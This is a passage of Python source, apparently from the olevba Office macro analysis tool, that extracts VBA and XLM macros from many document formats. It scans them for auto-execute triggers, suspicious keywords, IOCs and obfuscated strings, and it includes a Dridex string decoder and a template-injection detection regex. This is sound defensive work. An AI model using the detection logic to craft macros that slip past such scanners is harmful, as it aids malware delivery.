for line in project_stream: line = self.decode_bytes(line) log.debug('PROJECT: %r' % line) line = line.strip() if '=' in line: # split line at the 1st equal sign: name, value = line.split('=', 1) # looking for code modules # add the code module as a key in the dictionary # the value will be the extension needed later # The value is converted to lowercase, to allow case-insensitive matching (issue #3) value = value.lower() if name == 'Document': # split value at the 1st slash, keep 1st part: value = value.split('/', 1)[0] self.module_ext[value] = CLASS_EXTENSION elif name == 'Module': self.module_ext[value] = MODULE_EXTENSION elif name == 'Class': self.module_ext[value] = CLASS_EXTENSION elif name == 'BaseClass': self.module_ext[value] = FORM_EXTENSION def parse_modules(self): dir_stream = self.dir_stream # projectmodules_id has already been read by the previous loop = 0x000F # projectmodules_id = check #struct.unpack("<H", dir_stream.read(2))[0] # self.check_value('PROJECTMODULES_Id', 0x000F, projectmodules_id) projectmodules_size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTMODULES_Size', 0x0002, projectmodules_size) self.modules_count = struct.unpack("<H", dir_stream.read(2))[0] _id = struct.unpack("<H", dir_stream.read(2))[0] self.check_value('PROJECTMODULES_ProjectCookieRecord_Id', 0x0013, _id) size = struct.unpack("<L", dir_stream.read(4))[0] self.check_value('PROJECTMODULES_ProjectCookieRecord_Size', 0x0002, size) projectcookierecord_cookie = struct.unpack("<H", dir_stream.read(2))[0] unused = projectcookierecord_cookie log.debug("parsing {0} modules".format(self.modules_count)) for module_index in xrange(0, self.modules_count): module = VBA_Module(self, self.dir_stream, module_index=module_index) self.modules.append(module) yield (module.code_path, module.filename_str, module.code_str) _ = unused # make pylint happy: now variable "unused" is being used ;-) return def decode_bytes(self, bytes_string, errors='replace'): return bytes_string.decode(self.codec, errors=errors) def fix_bytes(self, bytes_string): if ('"' not in bytes_string): return bytes_string s = "" in_str = False for b in bytes_string: # Track if we are in a string. if (b == '"'): in_str = not in_str # Empirically looks like '\n' may be escaped in strings like this. if ((b == "\n") and in_str): s += chr(0x85) continue s += b s = s.replace("\n" + chr(0x85), "\n") return s def _extract_vba(ole, vba_root, project_path, dir_path, relaxed=True): log.debug('relaxed is %s' % relaxed) project = VBA_Project(ole, vba_root, project_path, dir_path, relaxed) project.parse_project_stream() for code_path, filename, code_data in project.parse_modules(): yield (code_path, filename, code_data) def vba_collapse_long_lines(vba_code): # TODO: use a regex instead, to allow whitespaces after the underscore? try: vba_code = vba_code.replace(' _\r\n', ' ') vba_code = vba_code.replace(' _\r', ' ') vba_code = vba_code.replace(' _\n', ' ') except: log.exception('type(vba_code)=%s' % type(vba_code)) raise return vba_code def filter_vba(vba_code): vba_lines = vba_code.splitlines() start = 0 for line in vba_lines: if line.startswith("Attribute VB_") and not ':' in line: start += 1 else: break #TODO: also remove empty lines? vba = '\n'.join(vba_lines[start:]) return vba def detect_autoexec(vba_code, obfuscation=None): #TODO: merge code with detect_suspicious # case-insensitive search #vba_code = vba_code.lower() results = [] obf_text = '' if obfuscation: obf_text = ' (obfuscation: %s)' % obfuscation # 1) simple strings, without regex for description, keywords in AUTOEXEC_KEYWORDS.items(): for keyword in keywords: #TODO: if keyword is already a compiled regex, use it as-is # search using regex to detect word boundaries: match = re.search(r'(?i)\b' + re.escape(keyword) + r'\b', vba_code) if match: found_keyword = match.group() results.append((found_keyword, description + obf_text)) # 2) regex for description, keywords in AUTOEXEC_KEYWORDS_REGEX.items(): for keyword in keywords: #TODO: if keyword is already a compiled regex, use it as-is # search using regex to detect word boundaries: match = re.search(r'(?i)\b' + keyword + r'\b', vba_code) if match: found_keyword = match.group() results.append((found_keyword, description + obf_text)) return results def detect_suspicious(vba_code, obfuscation=None): # case-insensitive search #vba_code = vba_code.lower() results = [] obf_text = '' if obfuscation: obf_text = ' (obfuscation: %s)' % obfuscation for description, keywords in SUSPICIOUS_KEYWORDS.items(): for keyword in keywords: # search using regex to detect word boundaries: # note: each keyword must be escaped if it contains special chars such as '\' match = re.search(r'(?i)\b' + re.escape(keyword) + r'\b', vba_code) if match: found_keyword = match.group() results.append((found_keyword, description + obf_text)) for description, keywords in SUSPICIOUS_KEYWORDS_REGEX.items(): for keyword in keywords: # search using regex to detect word boundaries: # note: each keyword must NOT be escaped because it is an actual regex match = re.search(r'(?i)\b' + keyword + r'\b', vba_code) if match: found_keyword = match.group() results.append((found_keyword, description + obf_text)) for description, keywords in SUSPICIOUS_KEYWORDS_NOREGEX.items(): for keyword in keywords: if keyword.lower() in vba_code: # avoid reporting backspace chars out of plain VBA code: if not(keyword=='\b' and obfuscation is not None): results.append((keyword, description + obf_text)) return results def detect_patterns(vba_code, obfuscation=None): results = [] found = set() obf_text = '' if obfuscation: obf_text = ' (obfuscation: %s)' % obfuscation for pattern_type, pattern_re in RE_PATTERNS: for match in pattern_re.finditer(vba_code): value = match.group() exclude_pattern_found = False for url_exclude_pattern in EXCLUDE_URLS_PATTERNS: if value.startswith(url_exclude_pattern): exclude_pattern_found = True if value not in found and not exclude_pattern_found: results.append((pattern_type + obf_text, value)) found.add(value) return results def detect_hex_strings(vba_code): results = [] found = set() for match in re_hex_string.finditer(vba_code): value = match.group() if value not in found: decoded = bytes2str(binascii.unhexlify(value)) results.append((value, decoded)) found.add(value) return results def detect_base64_strings(vba_code): #TODO: avoid matching simple hex strings as base64? results = [] found = set() for match in re_base64_string.finditer(vba_code): # extract the base64 string without quotes: value = match.group().strip('"') # check it is not just a hex string: if not re_nothex_check.search(value): continue # only keep new values and not in the whitelist: if value not in found and value.lower() not in BASE64_WHITELIST: try: decoded = bytes2str(base64.b64decode(value)) results.append((value, decoded)) found.add(value) except (TypeError, ValueError) as exc: log.debug('Failed to base64-decode (%s)' % exc) # if an exception occurs, it is likely not a base64-encoded string return results # DridexUrlDecode written by James Habben # Originally published on https://github.com/JamesHabben/MalwareStuff # included here with James' permission def StripChars (input) : result = '' for c in input : if c.isdigit() : result += c return int(result) def StripCharsWithZero (input) : result = '' for c in input : if c.isdigit() : result += c else: result += '0' return int(result) def DridexUrlDecode (inputText) : work = inputText[4:-4] strKeyEnc = StripCharsWithZero(work[(len(work) / 2) - 2: (len(work) / 2)]) strKeySize = StripCharsWithZero(work[(len(work) / 2): (len(work) / 2) + 2]) nCharSize = strKeySize - strKeyEnc work = work[:(len(work) / 2) - 2] + work[(len(work) / 2) + 2:] strKeyEnc2 = StripChars(work[(len(work) / 2) - (nCharSize/2): (len(work) / 2) + (nCharSize/2)]) work = work[:(len(work) / 2) - (nCharSize/2)] + work[(len(work) / 2) + (nCharSize/2):] work_split = [work[i:i+nCharSize] for i in range(0, len(work), nCharSize)] decoded = '' for group in work_split: decoded += chr(StripChars(group)/strKeyEnc2) return decoded def detect_dridex_strings(vba_code): results = [] found = set() for match in re_dridex_string.finditer(vba_code): value = match.group()[1:-1] if not re_nothex_check.search(value): continue if value not in found: try: decoded = bytes2str(DridexUrlDecode(value)) results.append((value, decoded)) found.add(value) except Exception as exc: log.debug('Failed to Dridex-decode (%s)' % exc) return results def detect_vba_strings(vba_code): results = [] found = set() vba_code = vba_code.expandtabs() for vba_line in vba_code.splitlines(): for tokens, start, end in vba_expr_str.scanString(vba_line): encoded = vba_line[start:end] decoded = tokens[0] if isinstance(decoded, VbaExpressionString): if encoded not in found and decoded != encoded: results.append((encoded, decoded)) found.add(encoded) return results def json2ascii(json_obj, encoding='utf8', errors='replace'): if json_obj is None: pass elif isinstance(json_obj, (bool, int, float)): pass elif isinstance(json_obj, str): if PYTHON2: dencoded = json_obj.decode(encoding, errors).encode(encoding, errors) if dencoded != json_obj: log.debug('json2ascii: replaced: {0} (len {1})' .format(json_obj, len(json_obj))) log.debug('json2ascii: with: {0} (len {1})' .format(dencoded, len(dencoded))) return dencoded else: return json_obj elif isinstance(json_obj, unicode) and PYTHON2: json_obj_bytes = json_obj.encode(encoding, errors) log.debug('json2ascii: encode unicode: {0}'.format(json_obj_bytes)) return json_obj_bytes elif isinstance(json_obj, bytes) and not PYTHON2: json_obj_str = json_obj.decode(encoding, errors) log.debug('json2ascii: encode unicode: {0}'.format(json_obj_str)) return json_obj_str elif isinstance(json_obj, dict): for key in json_obj: json_obj[key] = json2ascii(json_obj[key]) elif isinstance(json_obj, (list,tuple)): for item in json_obj: item = json2ascii(item) else: log.debug('unexpected type in json2ascii: {0} -- leave as is' .format(type(json_obj))) return json_obj def print_json(json_dict=None, _json_is_first=False, _json_is_last=False, **json_parts): if json_dict and json_parts: raise ValueError('Invalid json argument: want either single dict or ' 'key=value parts but got both)') elif (json_dict is not None) and (not isinstance(json_dict, dict)): raise ValueError('Invalid json argument: want either single dict or ' 'key=value parts but got {0} instead of dict)' .format(type(json_dict))) if json_parts: json_dict = json_parts if _json_is_first: print('[') lines = json.dumps(json2ascii(json_dict), check_circular=False, indent=4, ensure_ascii=False).splitlines() for line in lines[:-1]: print(' {0}'.format(line)) if _json_is_last: print(' {0}'.format(lines[-1])) print(']') else: print(' {0},'.format(lines[-1])) class VBA_Scanner(object): def __init__(self, vba_code): self.code = vba_collapse_long_lines(vba_code) self.code_hex = '' self.code_hex_rev = '' self.code_rev_hex = '' self.code_base64 = '' self.code_dridex = '' self.code_vba = '' self.strReverse = None self.results = None self.autoexec_keywords = None self.suspicious_keywords = None self.iocs = None self.hex_strings = None self.base64_strings = None self.dridex_strings = None self.vba_strings = None def scan(self, include_decoded_strings=False, deobfuscate=False): self.hex_strings = detect_hex_strings(self.code) self.strReverse = False if 'strreverse' in self.code.lower(): self.strReverse = True for encoded, decoded in self.hex_strings: self.code_hex += '\n' + decoded if self.strReverse: self.code_hex_rev += '\n' + decoded[::-1] self.code_rev_hex += '\n' + bytes2str(binascii.unhexlify(encoded[::-1])) self.base64_strings = detect_base64_strings(self.code) for encoded, decoded in self.base64_strings: self.code_base64 += '\n' + decoded self.dridex_strings = detect_dridex_strings(self.code) for encoded, decoded in self.dridex_strings: self.code_dridex += '\n' + decoded if deobfuscate: self.vba_strings = detect_vba_strings(self.code) else: self.vba_strings = [] for encoded, decoded in self.vba_strings: self.code_vba += '\n' + decoded results = [] self.autoexec_keywords = [] self.suspicious_keywords = [] self.iocs = [] for code, obfuscation in ( (self.code, None), (self.code_hex, 'Hex'), (self.code_hex_rev, 'Hex+StrReverse'), (self.code_rev_hex, 'StrReverse+Hex'), (self.code_base64, 'Base64'), (self.code_dridex, 'Dridex'), (self.code_vba, 'VBA expression'), ): self.autoexec_keywords += detect_autoexec(code, obfuscation) self.suspicious_keywords += detect_suspicious(code, obfuscation) self.iocs += detect_patterns(code, obfuscation) if self.hex_strings: self.suspicious_keywords.append(('Hex Strings', 'Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)')) if self.base64_strings: self.suspicious_keywords.append(('Base64 Strings', 'Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)')) if self.dridex_strings: self.suspicious_keywords.append(('Dridex Strings', 'Dridex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)')) if self.vba_strings: self.suspicious_keywords.append(('VBA obfuscated Strings', 'VBA string expressions were detected, may be used to obfuscate strings (option --decode to see all)')) keyword_set = set() for keyword, description in self.autoexec_keywords: if keyword not in keyword_set: results.append(('AutoExec', keyword, description)) keyword_set.add(keyword) keyword_set = set() for keyword, description in self.suspicious_keywords: if keyword not in keyword_set: results.append(('Suspicious', keyword, description)) keyword_set.add(keyword) keyword_set = set() for pattern_type, value in self.iocs: if value not in keyword_set: results.append(('IOC', value, pattern_type)) keyword_set.add(value) for encoded, decoded in self.hex_strings: if include_decoded_strings or is_printable(decoded): results.append(('Hex String', decoded, encoded)) for encoded, decoded in self.base64_strings: if include_decoded_strings or is_printable(decoded): results.append(('Base64 String', decoded, encoded)) for encoded, decoded in self.dridex_strings: if include_decoded_strings or is_printable(decoded): results.append(('Dridex string', decoded, encoded)) for encoded, decoded in self.vba_strings: if include_decoded_strings or is_printable(decoded): results.append(('VBA string', decoded, encoded)) self.results = results return results def scan_summary(self): if self.results is None: self.scan() return (len(self.autoexec_keywords), len(self.suspicious_keywords), len(self.iocs), len(self.hex_strings), len(self.base64_strings), len(self.dridex_strings), len(self.vba_strings)) def scan_vba(vba_code, include_decoded_strings, deobfuscate=False): return VBA_Scanner(vba_code).scan(include_decoded_strings, deobfuscate) class VBA_Parser(object): def __init__(self, filename, data=None, container=None, relaxed=True, encoding=DEFAULT_API_ENCODING, disable_pcode=False): if data is None: _file = filename self.file_on_disk = True else: _file = BytesIO(data) self.file_on_disk = False self.ole_file = None self.ole_subfiles = [] self.filename = filename self.container = container self.relaxed = relaxed self.type = None self.vba_projects = None self.vba_forms = None self.contains_macros = None self.vba_code_all_modules = None self.modules = None self.analysis_results = None self.nb_macros = 0 self.nb_autoexec = 0 self.nb_suspicious = 0 self.nb_iocs = 0 self.nb_hexstrings = 0 self.nb_base64strings = 0 self.nb_dridexstrings = 0 self.nb_vbastrings = 0 self.encoding = encoding self.xlm_macros = [] self.no_xlm = False self.disable_pcode = disable_pcode self.pcodedmp_output = None self.vba_stomping_detected = None self.is_encrypted = False self.xlm_macrosheet_found = False self.template_injection_found = False if olefile.isOleFile(_file): self.open_ole(_file) self.open_ppt() if self.type is None and zipfile.is_zipfile(_file): self.open_openxml(_file) if self.type is None: if data is None: with open(filename, 'rb') as file_handle: data = file_handle.read() if b'http://schemas.microsoft.com/office/word/2003/wordml' in data: self.open_word2003xml(data) if b'http://schemas.microsoft.com/office/2006/xmlPackage' in data: self.open_flatopc(data) data_lowercase = data.lower() if (self.type is None and b'mime' in data_lowercase and b'version' in data_lowercase and b'multipart' in data_lowercase and abs(data_lowercase.index(b'version') - data_lowercase.index(b'mime')) < 20): self.open_mht(data) #TODO: handle exceptions #TODO: Excel 2003 XML # Check whether this is rtf if rtfobj.is_rtf(data, treat_str_as_data=True): # Ignore RTF since it contains no macros and methods in here will not find macros # in embedded objects. run rtfobj and repeat on its output. msg = '%s is RTF, which cannot contain VBA Macros. Please use rtfobj to analyse it.' % self.filename log.info(msg) raise FileOpenError(msg) # Check if it is a SLK/SYLK file - https://en.wikipedia.org/wiki/SYmbolic_LinK_(SYLK) # It must start with "ID" in uppercase, no whitespace or newline allowed before by Excel: if data.startswith(b'ID'): self.open_slk(data) # Check if this is a plain text VBA or VBScript file: # To avoid scanning binary files, we simply check for some control chars: if self.type is None and b'\x00' not in data: self.open_text(data) if self.type is None: # At this stage, could not match a known format: msg = '%s is not a supported file type, cannot extract VBA Macros.' % self.filename log.info(msg) raise FileOpenError(msg) def open_ole(self, _file): log.info('Opening OLE file %s' % self.filename) try: # Open and parse the OLE file, using unicode for path names: self.ole_file = olefile.OleFileIO(_file, path_encoding=None) # set type only if parsing succeeds self.type = TYPE_OLE except (IOError, TypeError, ValueError) as exc: # TODO: handle OLE parsing exceptions log.info('Failed OLE parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) def open_openxml(self, _file): # This looks like a zip file, need to look for vbaProject.bin inside # It can be any OLE file inside the archive #...because vbaProject.bin can be renamed: # see http://www.decalage.info/files/JCV07_Lagadec_OpenDocument_OpenXML_v4_decalage.pdf#page=18 log.info('Opening ZIP/OpenXML file %s' % self.filename) try: z = zipfile.ZipFile(_file) #TODO: check if this is actually an OpenXML file #TODO: if the zip file is encrypted, suggest to use the -z option, or try '-z infected' automatically # check each file within the zip if it is an OLE file, by reading its magic: for subfile in z.namelist(): log.debug("subfile {}".format(subfile)) with z.open(subfile) as file_handle: found_ole = False template_injection_detected = False xml_macrosheet_found = False magic = file_handle.read(len(olefile.MAGIC)) if magic == olefile.MAGIC: found_ole = True # in case we did not find an OLE file, # there could be a XLM macrosheet or a template injection attempt if not found_ole: read_all_file = file_handle.read() # try to detect template injection attempt # https://ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros subfile_that_can_contain_templates = "word/_rels/settings.xml.rels" if subfile == subfile_that_can_contain_templates: regex_template = b"Type=\"http://schemas\.openxmlformats\.org/officeDocument/\d{4}/relationships/attachedTemplate\"\s+Target=\"(.+?)\"" template_injection_found = re.search(regex_template, read_all_file) if template_injection_found: injected_template_url = template_injection_found.group(1).decode() message = "Found injected template in subfile {}. Template URL: {}"\ "".format(subfile_that_can_contain_templates, injected_template_url) log.info(message) template_injection_detected = True self.template_injection_found = True # try to find a XML macrosheet macro_sheet_footer = b"</xm:macrosheet>" len_macro_sheet_footer = len(macro_sheet_footer) last_bytes_to_check = read_all_file[-len_macro_sheet_footer:] if last_bytes_to_check == macro_sheet_footer: message = "Found XLM Macro in subfile: {}".format(subfile) log.info(message) xml_macrosheet_found = True self.xlm_macrosheet_found = True if found_ole or xml_macrosheet_found or template_injection_detected: log.debug('Opening OLE file %s within zip' % subfile) with z.open(subfile) as file_handle: ole_data = file_handle.read() try: self.append_subfile(filename=subfile, data=ole_data) except OlevbaBaseException as exc: if self.relaxed: log.info('%s is not a valid OLE file (%s)' % (subfile, exc)) log.debug('Trace:', exc_info=True) continue else: raise SubstreamOpenError(self.filename, subfile, exc) z.close() # set type only if parsing succeeds self.type = TYPE_OpenXML except OlevbaBaseException as exc: if self.relaxed: log.info('Error {0} caught in Zip/OpenXML parsing for file {1}' .format(exc, self.filename)) log.debug('Trace:', exc_info=True) else: raise except (RuntimeError, zipfile.BadZipfile, zipfile.LargeZipFile, IOError) as exc: # TODO: handle parsing exceptions log.info('Failed Zip/OpenXML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) def open_word2003xml(self, data): log.info('Opening Word 2003 XML file %s' % self.filename) try: # parse the XML content # TODO: handle XML parsing exceptions et = ET.fromstring(data) # find all the binData elements: for bindata in et.getiterator(TAG_BINDATA): # the binData content is an OLE container for the VBA project, compressed # using the ActiveMime/MSO format (zlib-compressed), and Base64 encoded. # get the filename: fname = bindata.get(ATTR_NAME, 'noname.mso') # decode the base64 activemime mso_data = binascii.a2b_base64(bindata.text) if is_mso_file(mso_data): # decompress the zlib data stored in the MSO file, which is the OLE container: # TODO: handle different offsets => separate function try: ole_data = mso_file_extract(mso_data) self.append_subfile(filename=fname, data=ole_data) except OlevbaBaseException as exc: if self.relaxed: log.info('Error parsing subfile {0}: {1}' .format(fname, exc)) log.debug('Trace:', exc_info=True) else: raise SubstreamOpenError(self.filename, fname, exc) else: log.info('%s is not a valid MSO file' % fname) # set type only if parsing succeeds self.type = TYPE_Word2003_XML except OlevbaBaseException as exc: if self.relaxed: log.info('Failed XML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) else: raise except Exception as exc: # TODO: differentiate exceptions for each parsing stage # (but ET is different libs, no good exception description in API) # found: XMLSyntaxError log.info('Failed XML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) def open_flatopc(self, data): log.info('Opening Flat OPC Word/PowerPoint XML file %s' % self.filename) try: # parse the XML content # TODO: handle XML parsing exceptions et = ET.fromstring(data) # TODO: check root node namespace and tag # find all the pkg:part elements: for pkgpart in et.iter(TAG_PKGPART): fname = pkgpart.get(ATTR_PKG_NAME, 'unknown') content_type = pkgpart.get(ATTR_PKG_CONTENTTYPE, 'unknown') if content_type == CTYPE_VBAPROJECT: for bindata in pkgpart.iterfind(TAG_PKGBINDATA): try: ole_data = binascii.a2b_base64(bindata.text) self.append_subfile(filename=fname, data=ole_data) except OlevbaBaseException as exc: if self.relaxed: log.info('Error parsing subfile {0}: {1}' .format(fname, exc)) log.debug('Trace:', exc_info=True) else: raise SubstreamOpenError(self.filename, fname, exc) # set type only if parsing succeeds self.type = TYPE_FlatOPC_XML except OlevbaBaseException as exc: if self.relaxed: log.info('Failed XML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) else: raise except Exception as exc: # TODO: differentiate exceptions for each parsing stage # (but ET is different libs, no good exception description in API) # found: XMLSyntaxError log.info('Failed XML parsing for file %r (%s)' % (self.filename, exc)) log.debug('Trace:', exc_info=True) def open_mht(self, data): log.info('Opening MHTML file %s' % self.filename) try: # parse the MIME content # remove any leading whitespace or newline (workaround for issue in email package) stripped_data = data.lstrip(b'\r\n\t ') # strip any junk from the beginning of the file # (issue #31 fix by Greg C - gdigreg) # TODO: improve keywords to avoid false positives mime_offset = stripped_data.find(b'MIME') content_offset = stripped_data.find(b'Content') # if "MIME" is found, and located before "Content": if -1 < mime_offset <= content_offset: stripped_data = stripped_data[mime_offset:] # else if "Content" is found, and before "MIME" # TODO: can it work without "MIME" at all? elif content_offset > -1: stripped_data = stripped_data[content_offset:] # TODO: quick and dirty fix: insert a standard line with MIME-Version header? # monkeypatch email to fix issue #32: # allow header lines without ":" oldHeaderRE = email.feedparser.headerRE loosyHeaderRE = re.compile(r'^(From |[\041-\071\073-\176]{1,}:?|[\t ])') email.feedparser.headerRE = loosyHeaderRE try: if PYTHON2: mhtml = email.message_from_string(stripped_data) else: # on Python 3, need to use message_from_bytes instead: mhtml = email.message_from_bytes(stripped_data) finally: email.feedparser.headerRE = oldHeaderRE # find all the attached files: for part in mhtml.walk(): content_type = part.get_content_type() # always returns a value fname = part.get_filename(None) # returns None if it fails # TODO: get content-location if no filename log.debug('MHTML part: filename=%r, content-type=%r' % (fname, content_type)) part_data = part.get_payload(decode=True) # VBA macros are stored in a binary file named "editdata.mso". # the data content is an OLE container for the VBA project, compressed # using the ActiveMime/MSO format (zlib-compressed), and Base64 encoded. # decompress the zlib data starting at offset 0x32, which is the OLE container: # check ActiveMime header: if isinstance(part_data, bytes) and is_mso_file(part_data): log.debug('Found ActiveMime header, decompressing MSO container') try: ole_data = mso_file_extract(part_data) # TODO: check if it is actually an OLE file # TODO: get the MSO filename from content_location? self.append_subfile(filename=fname, data=ole_data) except OlevbaBaseException as exc: if self.relaxed: log.info('%s does not contain a valid OLE file (%s)' % (fname, exc)) log.debug('Trace:', exc_info=True) # TODO: bug here - need to split in smaller functions/classes? else: raise SubstreamOpenError(self.filename, fname, exc) else: log.debug('type(part_data) = %s' % type(part_data)) try: log.debug('part_data[0:20] = %r' % part_data[0:20]) except TypeError as err: log.debug('part_data has no __getitem__') # set type only if parsing succeeds self.type = TYPE_MHTML except OlevbaBaseException: raise except Exception: log.info('Failed MIME parsing for file %r - %s' % (self.filename, MSG_OLEVBA_ISSUES)) log.debug('Trace:', exc_info=True) def open_ppt(self): log.info('Check whether OLE file is PPT') try: ppt = ppt_parser.PptParser(self.ole_file, fast_fail=True) for vba_data in ppt.iter_vba_data(): self.append_subfile(None, vba_data, container='PptParser') log.info('File is PPT') self.ole_file.close() # just in case self.ole_file = None # required to make other methods look at ole_subfiles self.type = TYPE_PPT except (ppt_parser.PptUnexpectedData, ValueError) as exc: if self.container == 'PptParser': # this is a subfile of a ppt --> to be expected that is no ppt log.debug('PPT subfile is not a PPT file') else: log.debug("File appears not to be a ppt file (%s)" % exc) def open_slk(self, data): # TODO: Those results should be stored as XLM macros, not VBA log.info('Opening SLK file %s' % self.filename) xlm_macro_found = False xlm_macros = [] xlm_macros.append('Formulas and XLM/Excel 4 macros extracted from SLK file:') for line in data.splitlines(keepends=False): if line.startswith(b'O'): # Option: "O;E" indicates a macro sheet, must appear before NN and C rows for s in line.split(b';'): if s.startswith(b'E'): xlm_macro_found = True log.debug('SLK parser: found macro sheet') elif line.startswith(b'NN') and xlm_macro_found: # Name that can trigger a macro, for example "Auto_Open" for s in line.split(b';'): if s.startswith(b'N') and s.strip() != b'NN': xlm_macros.append('Named cell: %s' % bytes2str(s[1:])) elif line.startswith(b'C') and xlm_macro_found: # Cell for s in line.split(b';'): if s.startswith(b'E'): xlm_macros.append('Formula or Macro: %s' % bytes2str(s[1:])) if xlm_macro_found: self.contains_macros = True self.xlm_macros = xlm_macros self.type = TYPE_SLK def open_text(self, data): log.info('Opening text file %s' % self.filename) # directly store the source code: # On Python 2, store it as a raw bytes string # On Python 3, convert it to unicode assuming it was encoded with UTF-8 self.vba_code_all_modules = bytes2str(data) self.contains_macros = True # set type only if parsing succeeds self.type = TYPE_TEXT def append_subfile(self, filename, data, container=None): self.ole_subfiles.append(VBA_Parser(filename, data, container, relaxed=self.relaxed, encoding=self.encoding, disable_pcode=self.disable_pcode)) def find_vba_projects(self): log.debug('VBA_Parser.find_vba_projects') # if the file is not OLE but OpenXML, return None: if self.ole_file is None and self.type != TYPE_PPT: return None # if this method has already been called, return previous result: if self.vba_projects is not None: return self.vba_projects # if this is a ppt file (PowerPoint 97-2003): # self.ole_file is None but the ole_subfiles do contain vba_projects # (like for OpenXML files). if self.type == TYPE_PPT: # TODO: so far, this function is never called for PPT files, but # if that happens, the information is lost which ole file contains # which storage! log.warning('Returned info is not complete for PPT types!') self.vba_projects = [] for subfile in self.ole_subfiles: self.vba_projects.extend(subfile.find_vba_projects()) return self.vba_projects # Find the VBA project root (different in MS Word, Excel, etc): # - Word 97-2003: Macros # - Excel 97-2003: _VBA_PROJECT_CUR # - PowerPoint 97-2003: PptParser has identified ole_subfiles # - Word 2007+: word/vbaProject.bin in zip archive, then the VBA project is the root of vbaProject.bin. # - Excel 2007+: xl/vbaProject.bin in zip archive, then same as Word # - PowerPoint 2007+: ppt/vbaProject.bin in zip archive, then same as Word # - Visio 2007: not supported yet (different file structure) # According to MS-OVBA section 2.2.1: # - the VBA project root storage MUST contain a VBA storage and a PROJECT stream # - The root/VBA storage MUST contain a _VBA_PROJECT stream and a dir stream # - all names are case-insensitive def check_vba_stream(ole, vba_root, stream_path): full_path = vba_root + stream_path if ole.exists(full_path) and ole.get_type(full_path) == olefile.STGTY_STREAM: log.debug('Found %s stream: %s' % (stream_path, full_path)) return full_path else: log.debug('Missing %s stream, this is not a valid VBA project structure' % stream_path) return False # start with an empty list: self.vba_projects = [] # Look for any storage containing those storage/streams: ole = self.ole_file for storage in ole.listdir(streams=False, storages=True): log.debug('Checking storage %r' % storage) # Look for a storage ending with "VBA": if storage[-1].upper() == 'VBA': log.debug('Found VBA storage: %s' % ('/'.join(storage))) vba_root = '/'.join(storage[:-1]) # Add a trailing slash to vba_root, unless it is the root of the OLE file: # (used later to append all the child streams/storages) if vba_root != '': vba_root += '/' log.debug('Checking vba_root="%s"' % vba_root) # Check if the VBA root storage also contains a PROJECT stream: project_path = check_vba_stream(ole, vba_root, 'PROJECT') if not project_path: continue # Check if the VBA root storage also contains a VBA/_VBA_PROJECT stream: vba_project_path = check_vba_stream(ole, vba_root, 'VBA/_VBA_PROJECT') if not vba_project_path: continue # Check if the VBA root storage also contains a VBA/dir stream: dir_path = check_vba_stream(ole, vba_root, 'VBA/dir') if not dir_path: continue # Now we are pretty sure it is a VBA project structure log.debug('VBA root storage: "%s"' % vba_root) # append the results to the list as a tuple for later use: self.vba_projects.append((vba_root, project_path, dir_path)) return self.vba_projects def detect_vba_macros(self): log.debug("detect vba macros") #TODO: return None or raise exception if format not supported #TODO: return the number of VBA projects found instead of True/False? # if this method was already called, return the previous result: if self.contains_macros is not None: return self.contains_macros # if OpenXML/PPT, check all the OLE subfiles: if self.ole_file is None: for ole_subfile in self.ole_subfiles: log.debug("ole subfile {}".format(ole_subfile)) ole_subfile.no_xlm = self.no_xlm if ole_subfile.detect_vba_macros(): self.contains_macros = True return True # otherwise, no macro found: self.contains_macros = False return False # otherwise it's an OLE file, find VBA projects: vba_projects = self.find_vba_projects() if len(vba_projects) == 0: self.contains_macros = False else: self.contains_macros = True ole = self.ole_file for sid in xrange(len(ole.direntries)): log.debug('Checking DirEntry #%d' % sid) d = ole.direntries[sid] if d is None: d = ole._load_direntry(sid) log.debug('This DirEntry is an orphan or unused') if d.entry_type == olefile.STGTY_STREAM: log.debug('Reading data from stream %r - size: %d bytes' % (d.name, d.size)) try: data = ole._open(d.isectStart, d.size).read() log.debug('Read %d bytes' % len(data)) if len(data) > 200: log.debug('%r...[much more data]...%r' % (data[:100], data[-50:])) else: log.debug(repr(data)) if b'Attribut\x00' in data: log.debug('Found VBA compressed code') self.contains_macros = True except IOError as exc: if self.relaxed: log.info('Error when reading OLE Stream %r' % d.name) log.debug('Trace:', exc_trace=True) else: raise SubstreamOpenError(self.filename, d.name, exc) if (not self.no_xlm) and self.detect_xlm_macros(): self.contains_macros = True return self.contains_macros def detect_xlm_macros(self): log.debug("detect xlm macros") if self.type == TYPE_SLK: return self.contains_macros from oletools.thirdparty.oledump.plugin_biff import cBIFF self.xlm_macros = [] if self.ole_file is None: return False for excel_stream in ('Workbook', 'Book'): if self.ole_file.exists(excel_stream): log.debug('Found Excel stream %r' % excel_stream) data = self.ole_file.openstream(excel_stream).read() log.debug('Running BIFF plugin from oledump') try: biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-o BOUNDSHEET') self.xlm_macros = biff_plugin.Analyze() if "Excel 4.0 macro sheet" in '\n'.join(self.xlm_macros): log.debug('Found XLM macros') # get the list of labels, which may contain the "Auto_Open" trigger biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-o LABEL -r LN') self.xlm_macros += biff_plugin.Analyze() biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-c -r LN') self.xlm_macros += biff_plugin.Analyze() # we run plugin_biff again, this time to search DCONN objects and get their URLs, if any: # ref: https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros biff_plugin = cBIFF(name=[excel_stream], stream=data, options='-o DCONN -s') self.xlm_macros += biff_plugin.Analyze() return True except: log.exception('Error when running oledump.plugin_biff, please report to %s' % URL_OLEVBA_ISSUES) return False def detect_is_encrypted(self): if self.ole_file: self.is_encrypted = crypto.is_encrypted(self.ole_file) return self.is_encrypted def decrypt_file(self, passwords_list=None): decrypted_file = None if self.detect_is_encrypted(): passwords = crypto.DEFAULT_PASSWORDS if passwords_list and isinstance(passwords_list, list): passwords.extend(passwords_list) decrypted_file = crypto.decrypt(self.filename, passwords) return decrypted_file def 